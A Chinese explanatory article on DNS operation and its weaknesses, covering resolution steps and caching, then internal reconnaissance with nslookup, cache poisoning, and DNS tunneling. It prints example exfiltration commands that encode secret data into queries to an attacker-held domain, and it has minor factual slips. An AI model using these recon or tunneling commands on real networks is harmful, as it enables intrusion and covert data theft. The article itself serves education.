DNS系统原理及漏洞利用分析
基于IP协议,两台计算机之间要实现通信有一个前提,就是它们分别有一个IP地址。由于我们大多数人都善于记住www.taobao.com之类的字串,而非一串如104.196.44.101一般毫无规律的IP地址数字组合,因此,需要一个程序将名称字串翻译成IP地址。
在互联网上储存域名与IP地址间映射关系的一个分布式数据库,能够将名称转换为数字、数字转换为名称的程序就被称为DNS(Domain Name System,域名系统),运行DNS系统的主机就是“DNS服务器”。如果没有DNS,任何互联网访问就都需要我们记住12个数字——服务器的IP地址。
一、DNS工作原理
作为互联网访问中不可或缺的一项技术,了解DNS的运作机理非常重要。
DNS中的域名-IP映射条目被称为“DNS记录”。互联网上需要实现通信的计算机数量过于庞大,将所有DNS记录都记录在一个记录集里,由单台DNS服务器进行存储处理是不切实际的。因此,在DNS体系的设计中,全球的DNS被分成了多个小记录集,这些记录集被称为“域”(Domain)。一个域包含的记录数量仍有可能非常大,因此,域还可以被划分为更小的子集——“区”(Zone)。
因此,互联网上所有的域名-IP映射条目是由许多DNS服务器共同存储的。任何要根据域名查询IP或根据IP查询域名的计算机,都可以向其DNS服务器发起查询,并且DNS服务器还知道如何在多台DNS服务器之间发起查询。当DNS服务器查询其他DNS服务器时,我们称之为“上游”查询。域查询可以不停的向上执行,直至权限域名服务器。
权限域名服务器是管理员对其所管辖域的服务器名和IP地址进行管理的地方。当DNS管理员想要对服务器名或IP地址实施增删改查时,就会在权限域名服务器(也称“主DNS服务器”)上进行操作。另外,还有“从DNS服务器”,用于保存区或域的DNS记录副本。
1. 加载页面用到的四个DNS服务器
- 域名解析服务器(Resolving name server):自身存有被查询的IP-域名条目或向另一个DNS服务器请求该IP-域名条目,并响应此次查询的服务器。
- 根域名服务器(Root name server):根区的域名服务器。它直接响应查询请求,并返回相应的顶级域权限域名服务器列表。
- 顶级域名服务器(TLD name Server):顶级域名服务器(TLD)是Internet上的高级DNS服务器之一。当搜索www.qq.com时,“.com”TLD服务器将首先响应,在其条目中搜索“qq”字串。
- 权限域名服务器(Authoritative name server):权限域名服务器是DNS查询流程中的最后一站,其存储有某个区的域名条目记录。
2. DNS服务的类型
根据其处理DNS查询的技术机理不同,DNS服务被分为两种类型:
- 递归DNS服务:递归DNS服务响应DNS查询并向权限域名服务发起域名条目查询,或在其缓存的DNS条目中实施查询。
- 权限DNS服务:权限DNS服务自身存储DNS条目。因此,如果向权限DNS服务查询其存储的某个IP-域名条目,则无需再向其他服务器发起查询。
3. 公共DNS & 私有DNS
对于需要被公众在互联网上访问的服务器,它需要具有公共DNS记录,并且其IP地址在互联网上可访问,即不会被防火墙等访问控制技术所阻止。任何能够连接到公共DNS服务器的人都可以在且无需身份验证的情况下访问公共DNS服务器。
但是,并非所有的DNS记录都是公开的,为了使员工能够方便地访问企业内网的服务器,不少企业都有自身的私有DNS。私有DNS被用于存放不希望公开到互联网上的企业内部文件服务器、邮件服务器、域控制器、数据库服务器、应用程序服务器等的域名和IP。
有一点需要注意的是,私有DNS服务器和公共DNS服务器一样,对其的访问无需进行身份验证。这主要是因为在DNS技术创建之初,安全性还不是一个需要考虑的技术问题。因此,大多数情况下,企业内部网络中的任何用户都可以在未做身份认证的情况下查询内部DNS服务器存储的信息。
二、查询DNS的七个步骤
(1)当用户试图访问Internet上的计算机,例如,在浏览器地址栏中输入www.idcbest.com时,就将启动一次DNS查询。
(2)DNS查询的第一站是本地DNS缓存。在用户访问网络上不同的域名时,这些域名对应的IP地址就将存储在本地缓存中,如果用户之前访问过www.idcbest.com,则缓存中就会存有该网站的IP地址。
(3)如果本地DNS缓存中没有该域名的IP,DNS就会用递归DNS服务器进行检查。在互联网上,ISP服务商通常会建设和运维递归DNS服务器。
(4)递归DNS服务器自身具备缓存,如果在其缓存中存有用户查询的IP地址,则会将其直接返回给用户。如果没有,将向其它DNS服务器发起查询。
(5)下一站是TLD域名服务器,当用户查询域名 www.idcbest.com时,存储.cn地址的TLD域名服务器会响应查询请求。该服务器并不存储我们需要的IP地址,但它能够向正确的权限域名服务器转发查询请求。
(6)权限域名服务器用 www.idcbest.com的IP地址响应此次查询,递归DNS服务器将其存储在本地DNS缓存中,并将地址返回给用户的计算机。
(7)用户计算机的本地DNS服务获取www.idcbest.com的IP地址并实施访问。然后,在本地缓存中记录该域名的IP地址,同时记录其生存时间(TTL),即本地DNS记录的有效时间,若用户下次访问该域名的时间超过TTL时间,则下次访问www.idcbest.com时,DNS将再次执行上述过程。
三、DNS查询的分类
DNS查询需要给DNS服务器传递的信息包括:
- 当前查询是什么类型;
- 要返回什么信息。
标准的DNS查询有以下三种类型:
- 递归查询:在递归查询中,计算机请求DNS服务器返回一个IP地址,或确认该DNS服务器不知道该IP。
- 迭代查询:在迭代查询中,查询者向DNS服务器请求返回一个最佳答案。如果DNS服务器中查不到被查询IP,它将返回权限域名服务器或TLD域名服务器。查询者将继续此迭代过程,直到找到被查询IP或超时。
- 非递归查询:DNS解析服务器使用此类查询来查找自身缓存中没有存储的IP。
四、DNS缓存
如果每次有任何用户试图访问www.idcbest.com,都必须向权限域名服务器发起对该域名的查询请求,将会产生大量的网络流量!因此,为了使计算机不用在每一次访问某个域名时都向DNS服务器发起IP查询请求,计算机上通常会存储一个自身的域名-IP映射库,这个映射库被称为“DNS缓存”。
- 加快DNS请求响应速度
- 减少DNS请求在互联网上占用的带宽
但是,DNS缓存方法也存在一些问题,包括:
- DNS信息的变化需要一定的时间才能传播开——这意味着,所有DNS服务器都将其缓存更新为最新的IP数据之前,往往需要一段时间
- 攻击者可能利用DNS缓存发起攻击
DNS缓存有以下几种不同的类型:
- 浏览器DNS缓存:目前大多数浏览器均内置了DNS缓存功能,使用本地缓存方式实现DNS解析通常快速且高效。
- 操作系统(OS)DNS缓存:目前,大多数用户计算机操作系统均具备DNS客户端,可用于管理DNS解析和请求。此类DNS缓存也是本地化的,因此速度快且无需占用带宽。
- 递归解析DNS缓存:每个DNS递归服务器中都有DNS缓存,用于存储可向其发起下一步请求的IP。
五、DNS常见漏洞
- 用户内部DNS服务器会存储用户网络域中所有服务器的内部域名与IP,并能够在无需身份认证的情况下实施访问。这使得DNS成为攻击者在内网探测阶段的重要信息来源。
- DNS缓存信息并非一定与权限域名服务器一致,攻击者有可能篡改DNS缓存,如果用户内网的DNS服务器被攻击篡改,则使用该DNS服务器发起域名访问的计算机就会被诱骗到错误的服务器。
- DNS服务器可能将内网的域名查询从内网工作站递归转发至外网服务器,攻击者可能利用此行为创建内外网之间的“隐通道”来泄露内网数据。
1. 利用DNS实施探测
一旦攻击者穿透防火墙进入用户内网并控制某台计算机,就可以利用内网的DNS服务查找重要的服务器信息,如邮件服务器、域名服务器等各类有价值的信息。如果攻击者具备足够的技术能力,甚至可能利用内部DNS服务器批量发送用户网络中区的信息,此类攻击被称为“DNS区传输攻击”。
以下给出了在Windows操作系统环境中实现该攻击的流程:
- 打开命令提示符(ctrl+ esc ➡️输入字母“cmd” ➡️回车)
- 输入“ipconfig”,将看到当前计算机所在的域名、IP地址以及许多其他信息(后续命令中将会使用)
- 键入“nslookup[IP]”,将看到正在响应请求的DNS服务器名称,如果名称已知,则会显示列出名称和IP地址的DNS记录
- 键入“nslookup-type=soa [当前计算机所在域名]”, 执行此命令将返回当前计算机的权限DNS服务器,如果您尝试渗透网络,则不会很方便。
- 键入“nslookup-type=MX [当前计算机所在域名]”,通过执行该命令,攻击者可以准确获知网内邮件服务器的IP信息。
2. 利用DNS实施流量重定向
当用户尝试浏览到某个网站时,他们的计算机会在DNS服务器中查询该网站的IP。如果DNS服务器中存有该记录的缓存,则将直接返回该IP。如果没有,它会查询“上游”DNS服务器,并将结果中继给最终用户,同时缓存该信息以供下次使用。
在目前已知的攻击中,攻击者已经能够伪造DNS响应信息,使其看起来像是来自合法的DNS服务器。要达到这一目标,攻击者可以利用DNS的三个弱点:
- DNS对来自上游服务器的响应仅执行非常弱的认证。响应信息只需包含正确的事务ID(一个16位二进制数字(0-65536))。事实证明,要猜出正确的事务ID,技术难度并不大。
- DNS服务器接受同时响应多个查询请求,因此攻击者能够同时对事务ID实施多次猜测(与暴力破解密码思路类似)。
- DNS使用的IP连接很容易被伪造。这意味着攻击者可以从一台计算机向DNS服务器发送流量,使其看起来像来自另一台计算机,例如另一台真实有效的DNS服务器。容易被伪造的IP连接类型并不多,不幸的是,DNS恰好是其中之一。
一旦攻击者成功伪造了DNS响应消息,则其可以实现篡改接收端DNS服务器的缓存。以下就以一个典型的场景说明这一攻击行为可能造成的严重后果:
假设攻击者了解到用户单位使用外部应用程序来处理经费等重要事务。如果攻击者篡改了用户单位DNS服务器的相关记录,则能够将用户诱骗至攻击者伪造的服务器,诱骗用户在攻击者伪造的登陆页面上录入其账号及口令信息。
更有耐心的攻击者还可能将真实流量转发给真实的服务器(充当“中间人”),因此用户就不会发现攻击正在发生。获取用户的身份信息后,攻击者可以在其他相关系统上尝试使用这些身份信息,或者直接出售这些信息。
3. 利用DNS构建隐通道
假设攻击者已经设法进入了用户单位网络,控制了一台内网计算机,并且已经找到了其想要窃取的关键数据。如何在不留任何痕迹的情况下将数据传输到网外?攻击者可能使用一种被称为“DNS隧道”的技术来实现。通常的做法如下:
(1)攻击者在互联网上设置一个DNS域(如idcbest.com),并创建一个权限域名服务器
(2)在被攻击者控制的主机上,攻击者可以将数据分解为小段并将其插入到一系列DNS查询中,如下所示:
- nslookup My1secret1.idcbest.com
- nslookup is1that1I1know.idcbest.com
- nsllookup your1data.idcbest.com
(3)用户单位的DNS服务器将接收这些请求,并将这些请求转发回idcbest.com的权限域名服务器。攻击者在其权限域名服务器接收到上述流量后,则可以运行程序以提取查询信息的第一部分(.idcbest.com前的内容)并将其重新组合,从而将用户网内的数据不留痕迹地传输到网外(此例中传输的数据是“My secret is that I know your data.”)。而用户单位可能永远不会意识到他们的DNS服务器被用于泄露自身的数据。
六、小结
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:niceseo99@gmail.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。
评论